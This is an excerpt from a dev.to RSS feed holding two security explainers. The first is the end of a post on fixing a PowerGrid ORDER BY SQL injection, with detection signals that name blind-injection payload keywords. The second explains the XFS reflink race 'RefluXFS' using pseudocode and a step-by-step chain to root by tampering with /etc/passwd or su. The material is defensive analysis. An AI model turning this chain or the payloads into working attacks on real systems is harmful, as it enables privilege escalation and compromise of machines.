    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;in_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$direction&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'asc'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'desc'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nv"&gt;$direction&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'asc'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Not a blacklist, not a regex filter — a &lt;strong&gt;strict whitelist with a safe default&lt;/strong&gt;. For a keyword that can never be passed as a bound parameter, this is really the only correct approach.&lt;/p&gt;

&lt;p&gt;Applied at four points:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;ColumnRawQueries::resolvePlaceholders()&lt;/code&gt; — the sink itself. &lt;code&gt;{sortDirection}&lt;/code&gt; is now sanitized before substitution&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Concerns\Sorting::updatedSortDirection()&lt;/code&gt; — sanitizes the moment the Livewire hook writes the value&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Concerns\Sorting::sortBy()&lt;/code&gt; — sanitizes direction values passed as arguments too&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Pipelines\Sorting::applySingleSort()&lt;/code&gt; / &lt;code&gt;applyMultipleSort()&lt;/code&gt; — covers custom &lt;code&gt;sortUsing&lt;/code&gt; callbacks as well (a second related path the maintainer closed beyond the original report's scope)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Cloning the &lt;code&gt;v6.10.4&lt;/code&gt; tag directly and checking every raw direction sink confirms the fix: the test suite passes (30/30), and fuzzing &lt;code&gt;sanitizeSortDirection()&lt;/code&gt; with 17 payloads (time-based payloads, null bytes, SQL comments, hex literals, mixed case, whitespace padding, unicode) all converge to either &lt;code&gt;asc&lt;/code&gt; or &lt;code&gt;desc&lt;/code&gt;. &lt;strong&gt;Patch verified.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Remediation
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Upgrading is the only real fix.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;composer require power-components/livewire-powergrid:^6.10.4
composer audit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If an immediate upgrade isn't possible, a stopgap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;updatedSortDirection&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;sortDirection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;in_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;strtolower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;sortDirection&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'asc'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'desc'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nb"&gt;strtolower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;sortDirection&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'asc'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Checking exposure
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="s2"&gt;"naturalSort"&lt;/span&gt; app/ resources/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If no columns use &lt;code&gt;naturalSort&lt;/code&gt;, the primary raw &lt;code&gt;ORDER BY&lt;/code&gt; path is never registered, so the main attack vector is unreachable. Note, though, that &lt;code&gt;v6.10.4&lt;/code&gt; also hardened the &lt;code&gt;sortUsing&lt;/code&gt; callback path — so a custom sort callback that builds raw SQL directly could still be exposed regardless of &lt;code&gt;naturalSort&lt;/code&gt; usage.&lt;/p&gt;

&lt;h3&gt;
  
  
  Detection signals
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;sortDirection&lt;/code&gt; values in &lt;code&gt;POST /livewire/update&lt;/code&gt; bodies that aren't &lt;code&gt;asc&lt;/code&gt;/&lt;code&gt;desc&lt;/code&gt; (case-insensitive) — very low false-positive rate&lt;/li&gt;
&lt;li&gt;The same request carrying an empty &lt;code&gt;sortField&lt;/code&gt; alongside a meaningful &lt;code&gt;sortDirection&lt;/code&gt; — the exact bypass signature&lt;/li&gt;
&lt;li&gt;Values containing SQL keywords like &lt;code&gt;SELECT&lt;/code&gt;, &lt;code&gt;SLEEP&lt;/code&gt;, &lt;code&gt;BENCHMARK&lt;/code&gt;, &lt;code&gt;extractvalue&lt;/code&gt;, &lt;code&gt;updatexml&lt;/code&gt;, &lt;code&gt;0x&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Application error logs showing &lt;code&gt;SQLSTATE[HY000] 1105&lt;/code&gt; / &lt;code&gt;SQLSTATE[42000]&lt;/code&gt; alongside an &lt;code&gt;order by&lt;/code&gt; reference&lt;/li&gt;
&lt;li&gt;A bimodal response-time distribution across otherwise-identical requests — a sign a blind oracle is being walked&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cve</category>
      <category>sqlinjection</category>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>CVE-2026-64600 "RefluXFS" — Rooting Linux Through an XFS Race Condition (Explained in Code)</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Sun, 02 Aug 2026 23:54:18 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-64600-refluxfs-rooting-linux-through-an-xfs-race-condition-explained-in-code-clo</link>
      <guid>https://dev.to/guidance_white/cve-2026-64600-refluxfs-rooting-linux-through-an-xfs-race-condition-explained-in-code-clo</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fi6bxtvvtw9211i0wq1vg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fi6bxtvvtw9211i0wq1vg.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;With &lt;strong&gt;nothing more than a regular user account&lt;/strong&gt;, an attacker can exploit &lt;strong&gt;a single timing bug&lt;/strong&gt; in the Linux kernel's XFS filesystem to tamper with &lt;code&gt;/etc/passwd&lt;/code&gt; or a SUID-root binary and &lt;strong&gt;escalate to root&lt;/strong&gt;. The bug has existed since kernel 4.11 (2017) and was disclosed by Qualys TRU on July 22, 2026.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-64600&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nickname&lt;/td&gt;
&lt;td&gt;RefluXFS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Local Privilege Escalation (LPE)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root cause&lt;/td&gt;
&lt;td&gt;Race condition in the XFS Copy-on-Write path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected scope&lt;/td&gt;
&lt;td&gt;Any distro running XFS with &lt;code&gt;reflink=1&lt;/code&gt; (default &lt;code&gt;mkfs.xfs&lt;/code&gt; setting since 2019 on many enterprise distros: RHEL, Oracle Linux, Amazon Linux, Fedora, and others)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exposure window&lt;/td&gt;
&lt;td&gt;Kernel 4.11 (2017) through the patch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Notable trait&lt;/td&gt;
&lt;td&gt;Leaves no kernel log entry, and the tampered file survives a reboot&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Why This One Needs Code to Understand
&lt;/h2&gt;

&lt;p&gt;This isn't a classic memory-corruption bug like a buffer overflow. It's a &lt;strong&gt;timing gap between two pieces of otherwise-correct kernel logic&lt;/strong&gt; running concurrently. Without walking through the logic step by step, "so what's actually broken here?" doesn't land. So let's start with one concept.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;reflink&lt;/strong&gt; is an XFS feature that lets a file be "cloned" without actually copying its data (&lt;code&gt;cp --reflink=always&lt;/code&gt;) — both files simply point at the same disk blocks. Only when one of the files is later written to does the kernel perform an actual copy (Copy-on-Write, CoW) to separate the two.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The bug lives inside exactly that "separate the blocks when a write happens" logic.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Correct CoW Write Path (Pseudocode)
&lt;/h2&gt;

&lt;p&gt;Assuming no bug, here's a simplified version of how XFS handles a write to a reflinked file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Simplified pseudocode for illustration only.&lt;/span&gt;
&lt;span class="c1"&gt;// Does not match real kernel source function names/implementation 1:1.&lt;/span&gt;

&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inode&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                 &lt;span class="c1"&gt;// block other processes from touching it&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// this block is shared with another file -&amp;gt; can't write directly&lt;/span&gt;
        &lt;span class="n"&gt;new_block&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;allocate_private_block&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_block&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;       &lt;span class="c1"&gt;// actual CoW copy happens here&lt;/span&gt;
        &lt;span class="n"&gt;remap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_block&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;       &lt;span class="c1"&gt;// point the file at the new block&lt;/span&gt;
        &lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;             &lt;span class="c1"&gt;// drop the original block's ref count&lt;/span&gt;
        &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new_block&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// this block is now exclusively mine -&amp;gt; safe to write directly&lt;/span&gt;
        &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;write_to_disk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;unlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inode&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing wrong here — as long as the lock stays held from start to finish.&lt;/p&gt;




&lt;h2&gt;
  
  
  What the Kernel Actually Does: It Drops the Lock Midway
&lt;/h2&gt;

&lt;p&gt;The problem shows up when transaction log space runs low. XFS is a journaling filesystem, so every metadata change must be logged first. If log space is tight, the write has to &lt;strong&gt;wait&lt;/strong&gt; — and to avoid a deadlock while waiting, &lt;strong&gt;the kernel briefly releases the inode lock.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inode&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// trouble starts here, when log space is low&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;log_space_low&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;unlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inode&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;       &lt;span class="c1"&gt;// &amp;lt;-- (1) lock dropped to avoid deadlock&lt;/span&gt;
            &lt;span class="n"&gt;wait_for_log_space&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;     &lt;span class="c1"&gt;//     anything can happen during this wait&lt;/span&gt;
            &lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inode&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;         &lt;span class="c1"&gt;// &amp;lt;-- (2) lock re-acquired on return&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// problem: what if refcount was already read before the lock was dropped?&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;     &lt;span class="c1"&gt;// &amp;lt;-- (3) this value may no longer be current&lt;/span&gt;
            &lt;span class="p"&gt;...&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;           &lt;span class="c1"&gt;// decides to write directly to the ORIGINAL block!&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;write_to_disk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;      &lt;span class="c1"&gt;// &amp;lt;-- by now, acting on a stale judgment&lt;/span&gt;
    &lt;span class="n"&gt;unlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inode&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's half the bug: &lt;strong&gt;a window exists where the lock is released.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  How an Attacker Exploits That Window
&lt;/h2&gt;

&lt;p&gt;Now a second thread (the attacker, Thread B) pushes its own write to the &lt;em&gt;same&lt;/em&gt; reflinked file during that exact window.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Thread A (the victim process, or a system process): running write() above&lt;/span&gt;
&lt;span class="c1"&gt;// Thread B (attacker, unprivileged user): writing to the same file concurrently&lt;/span&gt;

&lt;span class="c1"&gt;// Timeline:&lt;/span&gt;

&lt;span class="c1"&gt;// t0: Thread A takes the lock and enters write()&lt;/span&gt;
&lt;span class="c1"&gt;// t1: Thread A releases the lock while waiting on log space (step (1) above)&lt;/span&gt;
&lt;span class="c1"&gt;// t2: In that gap, Thread B takes the lock and completes its OWN CoW&lt;/span&gt;
&lt;span class="n"&gt;Thread_B&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inode&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;new_block&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;allocate_private_block&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_block&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;remap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_block&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;             &lt;span class="c1"&gt;// refcount drops from 2 to 1!&lt;/span&gt;
    &lt;span class="n"&gt;unlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inode&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// t3: Thread A re-acquires the lock and resumes (step (2) above)&lt;/span&gt;
&lt;span class="c1"&gt;//     But Thread A already judged at t0 that "this block has refcount &amp;gt; 1" —&lt;/span&gt;
&lt;span class="c1"&gt;//     or, if it re-reads refcount after t2, it now sees refcount == 1 and&lt;/span&gt;
&lt;span class="c1"&gt;//     mistakenly concludes "this must be my own private block now"&lt;/span&gt;
&lt;span class="c1"&gt;//     — when in reality, Thread B just separated it&lt;/span&gt;
&lt;span class="c1"&gt;// t4: Thread A believes it's safely writing to a private block, and&lt;/span&gt;
&lt;span class="c1"&gt;//     write_to_disk() proceeds directly against the ORIGINAL physical block&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The core issue: &lt;strong&gt;the refcount dropped to 1 not because "I just separated it," but because "someone else quietly did," and the kernel can't tell the difference.&lt;/strong&gt; As a result, Thread A believes it's writing to its own private copy, but it's actually writing &lt;strong&gt;directly into the physical block still shared with the original file&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;There's one more twist that seals the deal: &lt;code&gt;O_DIRECT&lt;/code&gt; &lt;strong&gt;completely bypasses the kernel's page cache&lt;/strong&gt;, so there's no cache-layer revalidation step to catch the mistake. The corrupted write goes straight through to disk, unchecked.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Leads All the Way to Root
&lt;/h2&gt;

&lt;p&gt;This single primitive — "I can overwrite the real disk blocks of any file I can read" — chains directly into root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. The attacker creates a reflink copy of /etc/passwd or a SUID-root
   binary (e.g. /usr/bin/su) inside a directory they own
   (creating a reflink often only requires read access to the source)

2. The attacker repeatedly triggers the race condition described above,
   so that "writing to my reflink copy" actually becomes
   "writing to the ORIGINAL physical blocks (i.e. the real /etc/passwd data)"

3. The root account's password field in /etc/passwd is cleared,
   or the su binary's code is tampered with to spawn a shell

4. This change:
   - leaves file ownership/permissions/setuid bits completely untouched
     (the inode itself is never modified)
   - leaves nothing in the kernel log
   - survives a reboot (it was written directly at the block layer)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In effect, the attacker swaps out the file's &lt;em&gt;contents&lt;/em&gt; while leaving its &lt;em&gt;metadata&lt;/em&gt; completely alone — so a tampered SUID-root binary keeps its setuid bit and keeps running as root indefinitely.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Existing Defenses Don't Stop It
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Defense&lt;/th&gt;
&lt;th&gt;Why it fails to help&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;KASLR / SMEP / SMAP&lt;/td&gt;
&lt;td&gt;Designed against memory-corruption exploitation, not applicable to the block layer at all&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SELinux (Enforcing)&lt;/td&gt;
&lt;td&gt;Only normal syscalls (&lt;code&gt;write&lt;/code&gt;, &lt;code&gt;ioctl&lt;/code&gt;) are used, so no policy is ever violated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kernel Lockdown&lt;/td&gt;
&lt;td&gt;Doesn't restrict &lt;code&gt;O_DIRECT&lt;/code&gt; or reflink creation (&lt;code&gt;FICLONE&lt;/code&gt;) for unprivileged users&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Seccomp&lt;/td&gt;
&lt;td&gt;A typical profile allowing &lt;code&gt;write&lt;/code&gt;/&lt;code&gt;ioctl&lt;/code&gt; passes right through&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Container isolation (namespaces, etc.)&lt;/td&gt;
&lt;td&gt;The XFS reflink logic behaves identically inside a container's own volume&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Because this bug is triggered by &lt;strong&gt;calling permitted syscalls in a permitted way — just at a specific moment in time&lt;/strong&gt; — syscall filtering and permission-based defenses can't stop it by design. The only real fix is a change to the kernel's logic itself.&lt;/p&gt;

&lt;h2&gt;
  
  
    &lt;iframe src="https://www.youtube.com/embed/m_FDA98RjVc"&gt;
  &lt;/iframe&gt;

&lt;/h2&gt;

&lt;h2&gt;
  
  
  Conditions for Exposure (all three must apply)
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Kernel v4.11 or later (2017 onward), unpatched&lt;/li&gt;
&lt;li&gt;An XFS filesystem with &lt;code&gt;reflink=1&lt;/code&gt; on the superblock (the &lt;code&gt;mkfs.xfs&lt;/code&gt; default since 2019)&lt;/li&gt;
&lt;li&gt;The attacker has write access to some directory on the same XFS volume as the sensitive target file&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Many enterprise distributions — RHEL, CentOS Stream, Oracle Linux, Rocky/AlmaLinux, CloudLinux, Amazon Linux, Fedora Server — meet these conditions by default. Debian/Ubuntu/SUSE don't default to XFS, but remain equally exposed if XFS + reflink was chosen manually at install time.&lt;/p&gt;




&lt;h2&gt;
  
  
  Mitigation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Applying the kernel patch and rebooting&lt;/strong&gt; is the only reliable fix. (Merged upstream on July 16, 2026; distro backports are in progress.)&lt;/li&gt;
&lt;li&gt;No configuration-level workaround is currently known.&lt;/li&gt;
